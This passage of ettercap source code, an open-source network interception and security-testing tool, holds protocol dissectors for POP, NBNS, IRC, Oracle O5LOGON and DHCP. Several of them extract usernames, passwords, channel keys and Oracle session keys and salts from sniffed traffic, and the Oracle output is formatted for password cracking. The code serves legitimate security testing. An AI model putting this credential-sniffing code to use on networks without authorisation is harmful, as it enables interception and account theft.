MD5-digest: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * AUTH LOGIN * * digest(user) * digest(pass) * * the digests are in base64 */ if ( !strncasecmp((const char*)ptr, "AUTH LOGIN", 10) ) { DEBUG_MSG("\tDissector_POP AUTH LOGIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_pop)); /* remember the state (used later) */ s->data = strdup("AUTH"); /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } /* search the session (if it exist) */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); /* the session is invalid */ if (s->data == NULL) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); return NULL; } /* collect the user */ if (!strcmp(s->data, "AUTH")) { char *user; int i; DEBUG_MSG("\tDissector_POP AUTH LOGIN USER"); SAFE_CALLOC(user, strlen((const char*)ptr), sizeof(char)); /* username is encoded in base64 */ i = base64decode((const char*)ptr, &user); SAFE_FREE(s->data); /* store the username in the session */ SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char) ); snprintf(s->data, strlen("AUTH USER ") + i + 1, "AUTH USER %s", user); SAFE_FREE(user); /* pass is in the next packet */ return NULL; } /* collect the pass */ if (!strncmp(s->data, "AUTH USER", 9)) { char *pass; DEBUG_MSG("\tDissector_POP AUTH LOGIN PASS"); SAFE_CALLOC(pass, strlen((const char*)ptr) + 1, sizeof(char)); /* password is encoded in base64 */ base64decode((const char*)ptr, &pass); /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data + strlen("AUTH USER ")); PACKET->DISSECTOR.pass = strdup(pass); SAFE_FREE(pass); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } /* * AUTH PLAIN * * digest(userpass) * * the digests are in base64 */ if ( !strncasecmp((const char*)ptr, "AUTH PLAIN", 10) ) { DEBUG_MSG("\tDissector_POP AUTH PLAIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_pop)); /* remember the state (used later) */ s->data = strdup("AUTH PLAIN"); /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } /* collect the user and pass (the session was retrived above) */ if (!strcmp(s->data, "AUTH PLAIN")) { char *decode; DEBUG_MSG("\tDissector_POP AUTH PLAIN USER and PASS"); SAFE_CALLOC(decode, strlen((const char*)ptr) + 1, sizeof(char)); /* username is encoded in base64 */ base64decode((const char*)ptr, &decode); SAFE_FREE(s->data); /* store the username (skip the null)*/ PACKET->DISSECTOR.user = strdup(decode + 1); /* store the password (skip the null)*/ PACKET->DISSECTOR.pass = strdup(decode + 2 + strlen(decode + 1) ); SAFE_FREE(decode); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_nbns.c0000644000175000017500000001023313505247364017717 0ustar koeppeakoeppea/* ettercap -- dissector NBNS -- UDP 137 Copyright (C) Ettercap Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* * NBNS RFC: http://www.faqs.org/rfcs/rfc1002.html */ #define TYPE_NB 0x0020 #define TYPE_NBSTAT 0x0021 #define CLASS_IN 0x0001 #define NBNS_NAME_LEN 32 #define NBNS_DECODED_NAME_LEN 16 struct nbns_header { u_int16 transactid; /* Transaction ID */ #ifdef WORDS_BIGENDIAN u_char response: 1; /* response or query */ u_char opcode: 4; /* opcode */ /* nm_flags */ u_char aa: 1; u_char tc: 1; u_char rd: 1; u_char ra: 1; u_char unused: 2; u_char broadcast: 1; u_char rcode: 4; /* RCODE */ #else u_char rd: 1; u_char tc: 1; u_char aa: 1; u_char opcode: 4; u_char response: 1; u_char rcode: 4; u_char broadcast: 1; u_char unused: 2; u_char ra: 1; #endif u_int16 qd_count; /* QDCOUNT */ u_int16 an_count; /* AN_COUNT */ u_int16 ns_count; /* NS_COUNT */ u_int16 ar_count; /* AR_COUNT */ }; struct nbns_query { struct nbns_header header; char question[NBNS_NAME_LEN+2]; u_int16 type; u_int16 class; }; struct nbns_rdata { u_int16 len; u_int16 nbflags; u_int32 addr; }; #define NBNS_MSGLEN_QUERY_RESPONSE 70 #define NBNS_TTL_POS 12+1+NBNS_NAME_LEN+1+2+2 #define NBNS_RDATA_POS NBNS_TTL_POS + 2 #define NBNS_QUERY_POS 12 struct nbns_response { struct nbns_header header; char rr_name[NBNS_NAME_LEN+2]; /* RR_NAME */ u_int16 type; u_int16 class; u_int32 ttl; struct nbns_rdata rr_data; }; struct nbns_spoof_entry { char *name; struct ip_addr ip; /* no ipv6 nbns */ SLIST_ENTRY(nbns_spoof_entry) next; }; /* protos */ FUNC_DECODER(dissector_nbns); void nbns_init(void); static int nbns_expand(char *compressed, char *dst); /* * initializer */ void __init nbns_init(void) { dissect_add("nbns", APP_LAYER_UDP, 137, dissector_nbns); } FUNC_DECODER(dissector_nbns) { struct nbns_header *header; struct nbns_query *query; struct nbns_response *response; char name[NBNS_NAME_LEN]; char ip[IP_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; memset(name, 0, NBNS_NAME_LEN); header = (struct nbns_header *)po->DATA.data; DEBUG_MSG("NBNS dissector -> port 137"); /* HOOK_POINT: HOOK_PROTO_NBNS */ hook_point(HOOK_PROTO_NBNS, PACKET); if (header->response) { response = (struct nbns_response *)po->DATA.data; if (response->class != CLASS_IN) return NULL; nbns_expand(response->rr_name, name); struct ip_addr addr; ip_addr_init(&addr, AF_INET, (u_char*)&response->rr_data.addr); ip_addr_ntoa(&addr, ip); DEBUG_MSG("NBNS Transaction ID [0x%04x] Response: %s -> %s\n", ntohs(header->transactid), name, ip); } else { query = (struct nbns_query *)po->DATA.data; nbns_expand(query->question, name); DEBUG_MSG("NBNS Transaction ID [0x%04x] Query: %s", ntohs(header->transactid), name); } return NULL; } static int nbns_expand(char *compressed, char *dst) { //format compressed\00 int len = 0; int x=0; char j, k; for(len = 1; x < NBNS_NAME_LEN; len+=2){ j = (compressed[len] & 0x3f)-1; k = (compressed[len+1] & 0x3f)-1; dst[x/2] = (j<<4)+(k); x+=2; } char *s = strstr(dst, " "); if (s) *s = '\0'; return len; } ettercap-0.8.3/src/dissectors/ec_irc.c0000644000175000017500000002641413505247364017544 0ustar koeppeakoeppea/* ettercap -- dissector irc -- TCP 6665 6666 6667 6668 6669 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_irc); void irc_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init irc_init(void) { dissect_add("irc", APP_LAYER_TCP, 6665, dissector_irc); dissect_add("irc", APP_LAYER_TCP, 6666, dissector_irc); dissect_add("irc", APP_LAYER_TCP, 6667, dissector_irc); dissect_add("irc", APP_LAYER_TCP, 6668, dissector_irc); dissect_add("irc", APP_LAYER_TCP, 6669, dissector_irc); sslw_dissect_add("ircs", 994, dissector_irc, SSL_ENABLED); } FUNC_DECODER(dissector_irc) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* unused variable */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip messages coming from the server */ if (FROM_SERVER("irc", PACKET) || FROM_SERVER("ircs", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("IRC --> TCP dissector_irc"); /* * authentication method: PASS * * /PASS password * */ if ( !strncasecmp((const char*)ptr, "PASS ", 5) ) { DEBUG_MSG("\tDissector_irc PASS"); ptr += 5; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); SAFE_FREE(ident); PACKET->DISSECTOR.pass = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/PASS password"); DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * changing a channel key * * /MODE #channel +k password * */ if ( !strncasecmp((const char*)ptr, "MODE ", 5) && match_pattern((const char*)ptr + 5, "#* +k *") ) { DEBUG_MSG("\tDissector_irc MODE"); ptr += 5; /* fill the structure */ PACKET->DISSECTOR.user = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } /* skip the " +k " */ PACKET->DISSECTOR.pass = strdup((const char*)ptr + 4); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/MODE #channel +k password"); DISSECT_MSG("IRC : %s:%d -> CHANNEL: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * entering in a channel with a key * * /JOIN #channel password * */ if ( !strncasecmp((const char*)ptr, "JOIN ", 5) && match_pattern((const char*)ptr + 5, "#* *") ) { DEBUG_MSG("\tDissector_irc JOIN"); ptr += 5; /* fill the structure */ PACKET->DISSECTOR.user = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/JOIN #channel password"); DISSECT_MSG("IRC : %s:%d -> CHANNEL: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * identifying to the nickserv * * /msg nickserv identify password * */ if ( !strncasecmp((const char*)ptr, "PRIVMSG ", 8) && match_pattern((const char*)ptr + 8, "* :identify *\r\n") ) { char *pass; DEBUG_MSG("\tDissector_irc PRIVMSG"); if (!(pass = strcasestr((char*)ptr, "identify"))) return NULL; pass += 9; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); SAFE_FREE(ident); PACKET->DISSECTOR.pass = strdup(pass); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/msg nickserv identify password"); DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * identifying to the nickserv * * /nickserv identify password * */ if ( !strncasecmp((const char*)ptr, "NICKSERV ", 9) || !strncasecmp((const char*)ptr, "NS ", 3) ) { char *pass; DEBUG_MSG("\tDissector_irc NICKSERV"); if (!(pass = strcasestr((const char*)ptr, "identify"))) return NULL; pass += 9; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); SAFE_FREE(ident); PACKET->DISSECTOR.pass = strdup(pass); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/nickserv identify password"); DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * identifying to the nickserv * * /identify password * */ if ( !strncasecmp((const char*)ptr, "IDENTIFY ", 9) ) { char *pass; DEBUG_MSG("\tDissector_irc IDENTIFY"); if (!(pass = strcasestr((const char*)ptr, " "))) return NULL; /* adjust the pointer */ if (*++pass == ':') pass += 1; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); SAFE_FREE(ident); PACKET->DISSECTOR.pass = strdup(pass); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/identify password"); DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * register the nick in the session * list, we need it later when printing * passwords. */ /* user is taking a nick */ if (!strncasecmp((const char*)ptr, "NICK ", 5)) { char *p; char *user; ptr += 5; if (*ptr == ':') ptr++; /* delete any previous saved nick */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_irc)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_irc)); /* save the nick */ s->data = strdup((const char*)ptr); if ( (p = strchr(s->data, '\r')) != NULL ) *p = '\0'; if ( (p = strchr(s->data, '\n')) != NULL ) *p = '\0'; /* print the user info */ if ((ptr = (u_char*)strcasestr((const char*)ptr, "USER "))) { user = strdup((const char*)ptr + 5); if ( (p = strchr(user, '\r')) != NULL ) *p = '\0'; if ( (p = strchr(user, '\n')) != NULL ) *p = '\0'; DISSECT_MSG("IRC : %s:%d -> USER: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), s->data, user); SAFE_FREE(user); } /* save the session */ session_put(s); return NULL; } /* delete the user */ if (!strncasecmp((const char*)ptr, "QUIT ", 5)) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_irc)); return NULL; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_o5logon.c0000644000175000017500000003221613505247364020346 0ustar koeppeakoeppea/* * ettercap -- dissector for Oracle O5LOGON protocol -- TCP 1521 * * Copyright (c) 2012-2014 Dhiru Kholia (dhiru at openwall.com) * Copyright (c) 2016 magnum * * Tested with Oracle 11gR1 and 11gR2 64-bit server and Linux + * Windows SQL*Plus clients. Now also works with Oracle 12. That * version avoids the known-plain vulnerability from PKCS#7 padding * so more fields are needed for a full attack. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * */ #include #include #include #include #ifndef EC_O5LOGON_VERBOSE #define EC_O5LOGON_VERBOSE 0 #endif /* globals */ struct o5logon_status { u_char user[129]; struct ip_addr srv_addr; u_char srv_sk[97]; u_char cli_sk[97]; u_char pw[256]; u_char salt[21]; struct { u_int user : 1; u_int c_ano : 1; u_int c_sk : 1; u_int pw : 1; u_int s_ano : 1; u_int vfr : 1; u_int s_sk : 1; u_int pkcs : 2; } flags; }; /* PKCS#7 padding used? */ #define EC_O5LOGON_MAYBE_PKCS7 0 #define EC_O5LOGON_PKCS7 1 #define EC_O5LOGON_NO_PKCS7 2 /* protos */ FUNC_DECODER(dissector_o5logon); void o5logon_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init o5logon_init(void) { dissect_add("o5logon", APP_LAYER_TCP, 1521, dissector_o5logon); } FUNC_DECODER(dissector_o5logon) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; struct o5logon_status *conn_status = NULL; //suppress unused warning (void)end; (void)DECODE_DATA; (void)DECODE_DATALEN; (void)DECODED_LEN; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_o5logon)); if (FROM_CLIENT("o5logon", PACKET)) { u_char *ano; if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_o5logon)); SAFE_CALLOC(s->data, 1, sizeof(struct o5logon_status)); session_put(s); } /* Fetch state of existing session */ conn_status = (struct o5logon_status*)s->data; if (PACKET->DATA.len == 0) { /* * We output this packet just in case, but we may see more data * later and output another copy with more fields. See issue #741. */ if (conn_status->flags.pkcs != EC_O5LOGON_NO_PKCS7 && conn_status->flags.user && conn_status->flags.s_sk && conn_status->flags.vfr) { DISSECT_MSG("O5LOGON: %s@%s:$o5logon$%s*%s\n", conn_status->user, ip_addr_ntoa(&conn_status->srv_addr, tmp), conn_status->srv_sk, conn_status->salt); } if (PACKET->L4.flags & (TH_FIN | TH_RST)) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_o5logon)); } SAFE_FREE(ident); return NULL; } /* Interesting packets have len >= 24 */ if (PACKET->DATA.len < 24) { SAFE_FREE(ident); return NULL; } if ((ano = memmem(ptr, PACKET->DATA.len, "\xde\xad\xbe\xef", 4))) { conn_status->flags.c_ano = 1; ano += 25; #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: client ver %u.%u.%u.%u.%u (PKCS)\n", ano[0], ano[1] >> 4, ano[1] & 15 , ano[2], ano[3]); #endif if ((ano[0] << 16) + (ano[1] << 8) + ano[2] < 0x0a2003) { conn_status->flags.pkcs = EC_O5LOGON_PKCS7; } } else { u_char *csk; u_char *pw; if (conn_status->flags.user == 0) { u_char *sp; if ((sp = memmem(ptr, PACKET->DATA.len, "AUTH_TERMINAL", 13))) { /* Find username, best effort */ /* Names are 1 to 30 bytes and may include multibyte */ u_char *end = sp - 1; while(end > ptr && *end < 0x20) { end--; } while(end > ptr && *end == '\'' && end[1] == 0) { end--; } u_char *start = end; while(start > ptr && *start != 0xff && *start >= 0x20) { start--; } ++start; size_t length = (size_t)(end - start) + 1; strncpy((char*)conn_status->user, (char*)start, sizeof(conn_status->user) - 1); if (length < sizeof(conn_status->user)) conn_status->user[length] = 0; #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got username %s%s\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), conn_status->user, conn_status->flags.c_ano == 1 ? "" : "(no ANO seen)"); #endif conn_status->flags.user = 1; } } if (conn_status->flags.pw == 0 && (pw = memmem(ptr, PACKET->DATA.len, "AUTH_PASSWORD", 13))) { char password[256 + 1]; int pwlen = 0; if (memrchr(pw, 0x60, 24)) { pwlen = 0x60; pw = memrchr(pw, 0x60, 24); } else pwlen = 0x40; if ((pw = memrchr(pw, 0x40, 24))) { int i; pw++; for (i = 0; i < 2 * pwlen; i++) { while (*pw == ' ') pw++; password[i] = *pw++; } password[pwlen] = 0; strncpy(conn_status->pw, password, sizeof(conn_status->pw)); #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got encrypted password\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); #endif conn_status->flags.pw = 1; } } if (conn_status->flags.c_sk == 0 && (csk = memmem(ptr, PACKET->DATA.len, "AUTH_SESSKEY", 12))) { u_char sk[97]; int i; if (memrchr(csk, 0x40, 20)) csk = memrchr(csk, 0x40, 20); else csk = memrchr(csk, 0x60, 20); if (csk) { csk++; for (i = 0; i < 96; i++) { while (*csk == ' ') csk++; sk[i] = *csk++; } sk[96] = 0; strncpy(conn_status->cli_sk, sk, sizeof(conn_status->cli_sk)); conn_status->flags.c_sk = 1; #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got client session key\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); #endif } #if EC_O5LOGON_VERBOSE else { DISSECT_MSG("O5LOGON: %s:%d->%s:%d saw AUTH_SESSKEY but " "couldn't parse client session key?\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); } #endif } } if (conn_status && conn_status->flags.user && conn_status->flags.s_sk && conn_status->flags.vfr && conn_status->flags.pw && conn_status->flags.c_sk) { DISSECT_MSG("O5LOGON: %s@%s:$o5logon$%s*%s*%s*%s\n", conn_status->user, ip_addr_ntoa(&conn_status->srv_addr, tmp), conn_status->srv_sk, conn_status->salt, conn_status->pw, conn_status->cli_sk); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_o5logon)); } } else { /* From server */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct o5logon_status*)s->data; if (conn_status->flags.s_ano == 0) { if (PACKET->DATA.len > 32) { u_char *ano = memmem(ptr, PACKET->DATA.len, "\xde\xad\xbe\xef", 4); if (ano) { ano += 25; conn_status->flags.s_ano = 1; #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: server ver %u.%u.%u.%u.%u\n", ano[0], ano[1] >> 4, ano[1] & 15 , ano[2], ano[3]); #endif if (ano[0] >= 0x0c) { conn_status->flags.pkcs = EC_O5LOGON_NO_PKCS7; } else if ((ano[0] << 16) + (ano[1] << 8) + ano[2] < 0x0a2003) { conn_status->flags.pkcs = EC_O5LOGON_PKCS7; } } } } if (PACKET->DATA.len > 32) { if (conn_status->flags.vfr == 0) { u_char salt[21]; u_char *saltp = memmem(ptr, PACKET->DATA.len, "AUTH_VFR_DATA", 13); if (saltp) saltp = memrchr(saltp, 0x14, 20); if (saltp) { saltp++; strncpy((char*)salt, (char*)saltp, 20); salt[20] = 0; strncpy(conn_status->salt, salt, sizeof(conn_status->salt)); #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got VFR\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); #endif conn_status->flags.vfr = 1; } } if (conn_status->flags.s_sk == 0) { u_char sk[97]; u_char *skp = memmem(ptr, PACKET->DATA.len, "AUTH_SESSKEY", 12); int i; if (skp) { if (memrchr(skp, 0x40, 20)) skp = memrchr(skp, 0x40, 20); else skp = memrchr(skp, 0x60, 20); } if (skp) { skp++; for (i = 0; i < 96; i++) { while (*skp == ' ') skp++; sk[i] = *skp++; } sk[96] = 0; memcpy(&conn_status->srv_addr, &PACKET->L3.src, sizeof(conn_status->srv_addr)); strncpy(conn_status->srv_sk, sk, sizeof(conn_status->srv_sk)); #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got server session key\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); #endif conn_status->flags.s_sk = 1; } } } if (memmem(ptr, PACKET->DATA.len, "invalid username", 16)) { DISSECT_MSG("O5LOGON: Login to %s:%d as %s failed! " "Invalid username or password\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->user); conn_status->flags.user = 0; conn_status->flags.s_sk = 0; conn_status->flags.vfr = 0; conn_status->flags.pw = 0; conn_status->flags.c_sk = 0; } else if (memmem(ptr, PACKET->DATA.len, "account is locked", 17)) { DISSECT_MSG("O5LOGON: Login to %s:%d as %s failed, account locked!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->user); conn_status->flags.user = 0; conn_status->flags.s_sk = 0; conn_status->flags.vfr = 0; conn_status->flags.pw = 0; conn_status->flags.c_sk = 0; } #if EC_O5LOGON_VERBOSE } else { DISSECT_MSG("O5LOGON: No session; %s:%d -> %s:%d\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); #endif } } SAFE_FREE(ident); return NULL; } // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_dhcp.c0000644000175000017500000002566013505247364017707 0ustar koeppeakoeppea/* ettercap -- dissector DHCP -- UDP 67 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * RFC: 2131 * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | op (1) | htype (1) | hlen (1) | hops (1) | * +---------------+---------------+---------------+---------------+ * | xid (4) | * +-------------------------------+-------------------------------+ * | secs (2) | flags (2) | * +-------------------------------+-------------------------------+ * | ciaddr (4) | * +---------------------------------------------------------------+ * | yiaddr (4) | * +---------------------------------------------------------------+ * | siaddr (4) | * +---------------------------------------------------------------+ * | giaddr (4) | * +---------------------------------------------------------------+ * | chaddr (16) | * +---------------------------------------------------------------+ * | sname (64) | * +---------------------------------------------------------------+ * | file (128) | * +---------------------------------------------------------------+ * | options (variable) | * +---------------------------------------------------------------+ */ #include #include #include #include /* globalse */ struct dhcp_hdr { u_int8 op; #define BOOTREQUEST 1 #define BOOTREPLY 2 u_int8 htype; u_int8 hlen; u_int8 hops; u_int32 id; u_int16 secs; u_int16 flags; u_int32 ciaddr; u_int32 yiaddr; u_int32 siaddr; u_int32 giaddr; u_int8 chaddr[16]; u_int8 sname[64]; u_int8 file[128]; u_int32 magic; }; /* protos */ 